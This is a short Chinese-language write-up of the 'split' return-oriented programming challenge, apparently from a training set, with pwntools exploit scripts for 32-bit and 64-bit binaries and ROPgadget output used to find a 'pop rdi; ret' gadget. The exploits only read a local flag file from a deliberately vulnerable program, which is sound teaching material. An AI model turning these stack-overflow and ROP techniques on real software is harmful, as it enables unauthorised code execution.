split

作者: n0va | 来源:发表于2018-12-31 21:32 被阅读0次

    溢出点还是一样,不过少了可直接利用的函数,但是程序中提供了system函数和字符串"/bin/cat flag.txt",同样ret到system并且通过栈传入"/bin/cat flag.txt"即可
    exp:

    from pwn import *
    sh = process('./split32')
    system = 0x08048657
    cat = 0x0804A030
    pyaload = 'A' * 0x28 + p32(0) + p32(system) + p32(cat)
    sh.sendline(pyaload)
    sh.interactive()
    

    因为64位rdi是存储函数的第一个参数,所以我们需要pop rdi ;ret
    通过命令

    ROPgadget --binary ./split --only "pop|ret"
    

    找到gadget

    Gadgets information
    ============================================================
    0x000000000040087c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x000000000040087e : pop r13 ; pop r14 ; pop r15 ; ret
    0x0000000000400880 : pop r14 ; pop r15 ; ret
    0x0000000000400882 : pop r15 ; ret
    0x000000000040087b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    0x000000000040087f : pop rbp ; pop r14 ; pop r15 ; ret
    0x00000000004006b0 : pop rbp ; ret
    0x0000000000400883 : pop rdi ; ret
    0x0000000000400881 : pop rsi ; pop r15 ; ret
    0x000000000040087d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
    0x00000000004005b9 : ret
    

    64位exp:

    from pwn import *
    sh = process('./split')
    system = 0x4005E0
    cat_flag = 0x601060
    pop = 0x400883
    payload = "A" * 0x20 + p64(0) + p64(pop) + p64(cat_flag) + p64(system)
    sh.sendline(payload)
    sh.interactive()
    

    相关文章

      网友评论

          本文标题:split

          本文链接:https://www.haomeiwen.com/subject/hpgwlqtx.html